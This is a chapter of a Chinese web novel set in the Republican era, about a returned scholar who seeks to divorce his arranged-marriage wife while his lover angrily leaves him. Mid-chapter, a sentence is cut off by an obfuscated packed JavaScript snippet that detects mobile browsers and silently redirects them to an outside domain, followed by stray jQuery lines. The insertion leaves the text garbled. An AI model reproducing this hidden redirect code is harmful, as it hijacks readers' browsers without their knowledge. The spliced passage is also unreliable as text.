53. 糟糠妻

作品:《系统叫我搞“封建迷信”

    若按着以前,季秋晚是标标准准的千金大小姐,大家闺秀。现在自然也是,只不过现在外头都说是新时代了,很多东西都变成了旧社会的代名词。


    称呼、物件儿、规矩、包括她。


    父母之命,媒妁之言。季家和宁家是早就定好了的亲事,宁良是文人,搁以前那叫文官,因此和季秋晚这个书香世家的小姐称得上是门当户对。


    季秋晚十五岁嫁入季家,婚后一年,宁良由于体会到国家动乱,深感自己需出一份力,因此开始了他各地游学,最后出国留洋的历程。


    季秋晚便在家一次次的目送他离开,再一次次的盼他归来。


    这么迎来送往,已经过去了五年。


    五年后的今天,她终于可以不再孤单影只地望着他的背影,她期盼着两人此后琴瑟和鸣,他却要与她登报离婚了。


    都说嫁鸡随鸡,嫁狗随狗,若是离了婚,夫家不接纳,娘家不能归,她该何去何从?


    不不不,他们不会离婚的,公公不是说了他会替她做主的么。


    季秋晚躺在床上东想西想,脑子里乱糟糟的,不知何时才睡着。


    天亮时,她醒来还有些茫然,心底残存的情绪使她骤然想起来昨天都发生了什么。


    “折柳,姑爷在家吗?”


    折柳听见呼唤推门进去,说道:“姑爷昨天晚上回来了,听打扫的丫头说,姑爷一大早就从书房出去了。”


    季秋晚点点头,起床穿衣洗漱。她自然是难受的,可纵然伤心难过,宁良不在眼前却又好像和平常没什么差别,仿佛只是做了一场噩梦一般。


    宁良那头,他昨晚和蓝蓝约好了今日去茶楼见面,一大早他便出去了。


    他到茶楼时蓝蓝还没来,于是他先点好她喜爱的吃食,边喝着茶水边听着评剧等人。


    不多时,白蓝就到了。


    “嘿!等久了吧。”


    宁良一见到她脸上就挂上笑容,“等候佳人,我甘愿。快坐。”


    他殷勤地替她把椅子拉开,待她走进座位再把椅子朝前推,服侍得细心妥帖。


    “宁大哥,你快看看我写的这篇文章,如何?”


    “先吃点东西。”


    “不用,你先看,指点指点我,要是哪边不好,还得麻烦你替我润色一番。”


    她一如即往的做事认真又有活力,宁良嘴角含笑,把她爱吃的早点推过去,说:“你先吃,我特地点的你爱吃的,你边吃我边看。”


    白蓝没有推辞,宁良点的也确实是她的喜好,她拿起一块糕饼吃起来。


    都说认真的男人别有一番魅力,宁良也是如此,此时他正专心看着她写的文章,白蓝的目光不知不觉从他手里的文章转移到他的脸上。


    平心而论,宁良长得很帅气,那种帅气既有男人的棱角与硬朗,又中和了儒雅的书卷气,越看越耐看。


    白蓝想起来他们戏剧性的初遇,又想到现在两人即将结为连理,忍不住笑了。


    咽下嘴里的糕饼,她喝了一口水,突然被卡住,她猛烈咳了几下,方才缓和过来。


    宁良被她吓了一跳,忙坐到她身边帮她顺气。


    见她好些了,开口关切道:“怎么样?好些了吗?”


    白蓝抬起头说:“我没事。”


    宁良仔细打量她,见她确实无事才放下心来,只是……他怎么觉得蓝蓝的眼神有些茫然?


    他重新看着手里的文章,斟酌着如何给文章润色的用词,没注意白蓝的表情有些疑惑。


    白蓝下意识喝了口水,想到他们即将……不对,刚刚她在想什么来着?他们俩要结婚了?真的吗?怎么她好像没什么喜悦之情?


    她又细细打量面前的男人,白蓝的视线如藤蔓般紧紧缠绕住他,宁良在心底迅速构思好遣词,抬头宠爱的看着她。


    正欲打情骂俏,宁良想到家里不肯离婚的事,笑意敛了些,眼前长在他心尖儿上的女子,此刻巧笑倩兮的模样,他哪里忍心让她进门做妾。


    不对,蓝蓝似乎还不知道他已经成婚了,他们交往得十分愉快,他竟忘了说这件重要的事。


    这……


    不如等他与季秋晚离婚了再与蓝蓝说,只是,家里对于离婚这件事的态度着实不好,如果有人从中作梗…那回头蓝蓝会不会怪他欺瞒?


    宁良犯难。


    “我脸上是有花吗?你看了我很久了。”


    白蓝语气有些不妙,宁良却没听出来。


    “只是在思考一些问题。”他停顿片刻,又说:“蓝蓝,若是你身边的人对你有个善意的谎言,你很久之后才发现,你会如何?”


    “我?没有什么善意的谎言,只有欺骗,如果有人骗我,那一定就是做好了与我不再来往的准备。”


    宁良心底一惊,观她神色郑重,心知她必定不是随口乱说的,心里对他已经成婚这件事是否要说的天秤开始摇摆。


    到底还是怕心爱的人生气难过,打着长痛不如短痛的念头,宁良把他早就成婚这件事告诉了白蓝。


    “你说什么??!”白蓝不可置信,虽然她没感受到多余的喜悦之情,但是她刚刚脑子里还想着他们马上要成婚了,应当好好准备才是。他这会儿告诉她说他早就已经成婚了?


    这岂不是骗婚?


    想到他刚刚说的善意的谎言,呸!这哪儿是善意的谎言啊,这分明是恶意欺骗!


    白蓝拍案而起,“你这个伪君子,既然早就有了妻室,为何早不说这件事,非得等到你我准备成婚之前告诉我,怎么?是觉得我与你情定终身了,已经离不开你了是吗?还是你觉得自己魅力十足,能把我们两个女子都玩弄于鼓掌之中?”


    “不是这样的,你别生气,先坐下来,别气坏了身子。”


    “我倒是该感谢你是吧?这是你大发善心告诉了我,如果我不知道这事,你是不是要暗自伤了你妻子的心,再让世人把这件事栽到我头上。还是要效仿娥皇女英,让我们俩都围着你一个人转?真是好算计!”


    白蓝虽发怒,口不择言,但宁良爱的就是她这爱憎分明一点就炸的爆脾气,十分火热,有活力。不像季秋晚,永远是平平淡淡,除了哭就没有其他情绪起伏的模样,连笑都像是被尺子规划好了长宽,无趣极了。


    因此,分明是在生气,他也半点没有生气,反而好声宽慰。


    “你放心,他们不过是一时不同意,我一定会光明正大、风风光光地迎你进门。”


    “不,我不需要。我无法接受自己是个第三者,既已是错误就该修正,昨日之事已成为过去,今后你与你夫人一起好好过日子。”她想了想又补充了一句:“以后不要找我了。”


    白蓝起身要走,宁良探身拉住她手腕,说道:“我不许你这样说自己,你不是第三者,你是我放在心尖上的姑娘,我们情投意合,灵魂相契,你怎会是第三人。放心,我一定会早早了解这件事,给你一个交代。”


    话毕,宁良像是打了鸡血被鼓舞了似的,雄赳赳气昂昂地出了茶楼。


    白蓝皱着脸鄙夷地望向他离去的方向,骂了句:“神经。”


    她拿起桌上的文章,嫌弃地拍了拍,“还好没来得及给他润色,竟瞎了眼与这等人渣……真是倒霉。”


    她也匆匆离开了。


    宁良从茶楼离开后本想直接回家,半路上碰到了来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259586|177181||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    寻他的小子,他只得放下心中的激昂,随着人去学校。


    他留洋回来的第一天,本市大学校长就向他发出任职邀请,只是他因为家事,延后了面试。今天学校都特意差人来请了,他不得不去看看。


    学校位于城东,称不上百年老校,也颇有些年头,学校里的一砖一瓦都在对行走经过的人们诉说着它们的曾经。


    宁良跟着人去了校长办公室,和校长聊了许久,两人相谈甚欢,最后敲定了他中文系教授的位置。


    他和校长握手道别,商议尽快入职的事宜。


    宁良怀揣着喜悦的心情离开,回去的路上忽然想到,既然快要入职了,那他和季秋晚的离婚事宜就不得再拖了,越早解决越好。


    回到家,他径直走进卧室寻人,却不妨扑了个空。


    “少奶奶人呢?”他拦住一个下人问道。


    下人突然被拉住吓了一跳,战战兢兢地说:“大少奶奶出门去了。”


    “去哪儿了?都快到饭点了还不知道回来吗?”


    “奴才不知道,只知道大少奶奶带着折柳姑娘一起出去了,出去了有一会儿了。”


    “行了你走吧。”宁良烦躁地挥挥手。


    下人躬身走了。


    “不在家好好呆着,去哪儿了真是。”宁良嘀咕着。


    ***


    季秋晚服侍婆婆用完饭之后回屋休息了一会儿就去了报社。


    这是她在宁良出去后养成的习惯。


    她习惯看看报纸,好知道现在的外面是什么样,私心里更是想能在宁良回来后能与他说得上话,不至于他说的话她听不懂,搭不上话导致两人无话可说。


    同时她也想出门透透气,整日闷在屋里,没人说话、没事可做,这样枯燥乏味还不如出去看看旁人鲜活的生活。


    报社里,季秋晚刚走近,就听到里面的嘈杂声,其中一道女声清晰透出。


    “女子又怎样?你难道不是女子生养出来的?你我同为执笔者,怎么还能分三六九等。现在已经是新时代,不再是那封建的前朝,你怎可对女性有如此偏见!如此苛责?平日里要民主、要反封建礼教、提倡新思想的口号喊得倒是起劲,私底下就是这样一副做派吗!”


    “你若是有这等女子无才便是德的封建思想,那你简直枉为新时代的人,我白某也不屑于你这种人为伍!”


    …


    季秋晚正凝神听着,冷不丁撞上一个人。


    来人怒气冲冲,撞到她后迅速说了声对不起,匆匆远去。


    对方神色匆匆,季秋晚只感受到她带来的一阵清凉的气息,微微拂过后便再不见她的踪影。


    报社里爆出更大的喧哗声,却不见方才那道凛然的声音,她猜测方才撞到的那人便是先前在报社与人对峙的那名女子。


    听着报社里头对那女子的批判和不认同,再想到她方才铿锵有力的话语,季秋晚的心被深深触动。


    这世上,居然有这么自由的女子。


    她垂下眼眸,看着脚下的门槛,高耸、不容忽视的横在那,不知怎么,突然没了进去的念头。


    “少奶奶,我们不是去报社买报纸吗?怎么……”折柳不解地问。


    季秋晚抬手遮住阳光,看着不知名的方向,声音恍惚:“忽然不想进去了。”


    “那要不要奴婢进去帮您买一份?”


    “不用了,我们回吧,天色不早了吧,我们得回去了。”


    折柳说:“是呢,快到午时了,得回去用饭了。”


    季秋晚跟着说:“是啊,得…回去了。”


    折柳眨眨眼,不明白为什么自家小姐忽然变得低落起来。